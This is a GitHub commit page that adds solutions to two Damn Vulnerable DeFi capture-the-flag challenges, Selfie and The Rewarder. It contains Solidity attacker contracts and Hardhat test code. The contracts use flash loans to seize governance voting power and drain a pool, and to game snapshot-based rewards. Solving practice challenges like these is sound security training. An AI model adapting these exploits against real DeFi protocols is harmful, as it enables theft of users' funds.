Skip to content

Commit

Permalink
feat: theredguild#5 & theredguild#6 solved
Browse files Browse the repository at this point in the history
  • Loading branch information
redace85 committed Jun 16, 2022
1 parent a88901a commit 289490f
Show file tree
Hide file tree
Showing 4 changed files with 145 additions and 0 deletions.
57 changes: 57 additions & 0 deletions contracts/attacker-contracts/SelfieAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";

interface IFlashLoanReceiver {
function receiveTokens(address,uint256) external;
}

interface ISelfiePool {
function flashLoan(uint256) external;
function drainAllFunds(address receiver) external;
}

interface IDVTsnapshot {
function snapshot() external returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IGovernance {
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256);
}

contract SelfieAttacker is IFlashLoanReceiver {
using Address for address payable;

ISelfiePool private immutable pool;
IGovernance private immutable govern;
address private immutable owner;

constructor(address _pool, address _govern ) payable {
pool = ISelfiePool(_pool);
govern = IGovernance(_govern);
owner = msg.sender;
}

function attack(uint256 _amount) external {
require(msg.sender == owner, "only owner");

pool.flashLoan(_amount);
// queue action after snapshot
bytes memory actionData = abi.encodeWithSelector(pool.drainAllFunds.selector,[owner]);
govern.queueAction(address(pool), actionData, 0);
}


function receiveTokens(address token, uint256 amount) override external {
require(msg.sender == address(pool), "only pool");

IDVTsnapshot dvtss = IDVTsnapshot(token);
// snapshot after borrow from pool
dvtss.snapshot();
// pay back token
bool bRes = dvtss.transfer(msg.sender, amount);
require(bRes, "pay back token failed");
}
}
58 changes: 58 additions & 0 deletions contracts/attacker-contracts/TheRewarderAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC20.sol";

interface IFlashLoanReceiver {
function receiveFlashLoan(uint256) external;
}

interface IFlashLoanPool {
function flashLoan(uint256) external;
function liquidityToken() external view returns(address);
}

interface IRewarderPool {
function deposit(uint256) external;
function withdraw(uint256) external;
function rewardToken() external view returns(address);
}

contract TheRewarderAttacker is IFlashLoanReceiver {
IFlashLoanPool private immutable flashLoanPool;
IRewarderPool private immutable theRewarderPool;
address private immutable owner;
constructor(address _flPool, address _rewarderPool ) payable {
flashLoanPool = IFlashLoanPool(_flPool);
theRewarderPool = IRewarderPool(_rewarderPool);
owner = msg.sender;
}

function attack(uint256 _amount) external {
require(msg.sender == owner, "only owner");

flashLoanPool.flashLoan(_amount);

// send reward token to owner
IERC20 rewardToken = IERC20(theRewarderPool.rewardToken());
uint256 thisBalance = rewardToken.balanceOf(address(this));
bool bRes = rewardToken.transfer(owner, thisBalance);
require(bRes, "reward token transfer failed");
}


function receiveFlashLoan(uint256 amount) override external {
require(msg.sender == address(flashLoanPool), "only pool");

IERC20 dvt = IERC20(flashLoanPool.liquidityToken());
bool bRes = dvt.approve(address(theRewarderPool), amount);
require(bRes, "approve rewarderPool failed");

// deposit and withdraw will leave balance on snapshot
theRewarderPool.deposit(amount);
theRewarderPool.withdraw(amount);

// pay back dvt
bRes = dvt.transfer(address(flashLoanPool), amount);
require(bRes, "pay back dvt failed");
}
}
23 changes: 23 additions & 0 deletions test/selfie/selfie.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,29 @@ describe('[Challenge] Selfie', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const attackerCF = await ethers.getContractFactory('SelfieAttacker', attacker);
const attackContract = await attackerCF.deploy(this.pool.address, this.governance.address);

let tx = await attackContract.connect(attacker).attack(TOKENS_IN_POOL);
const recp = await tx.wait();

// get the actionId
const iface = this.governance.interface;
const aqTopic = iface.getEventTopic('ActionQueued');
let actionId;
for(let i=0;i<recp.logs.length;i++){
if(recp.logs[i].topics[0]==aqTopic){
const res = iface.decodeEventLog('ActionQueued', recp.logs[i].data);
actionId = res.actionId;
break;
}
}

// console.log('actionId:', actionId);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
// exec action
tx = await this.governance.executeAction(actionId);
await tx.wait();
});

after(async function () {
Expand Down
7 changes: 7 additions & 0 deletions test/the-rewarder/the-rewarder.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,13 @@ describe('[Challenge] The rewarder', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// using flashloan to mark large balance at a snapshot
const attackerCF = await ethers.getContractFactory('TheRewarderAttacker', attacker);
const attackContract = await attackerCF.deploy(this.flashLoanPool.address, this.rewarderPool.address);

await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
const tx = await attackContract.connect(attacker).attack(TOKENS_IN_LENDER_POOL);
await tx.wait();
});

after(async function () {
Expand Down

0 comments on commit 289490f

Please sign in to comment.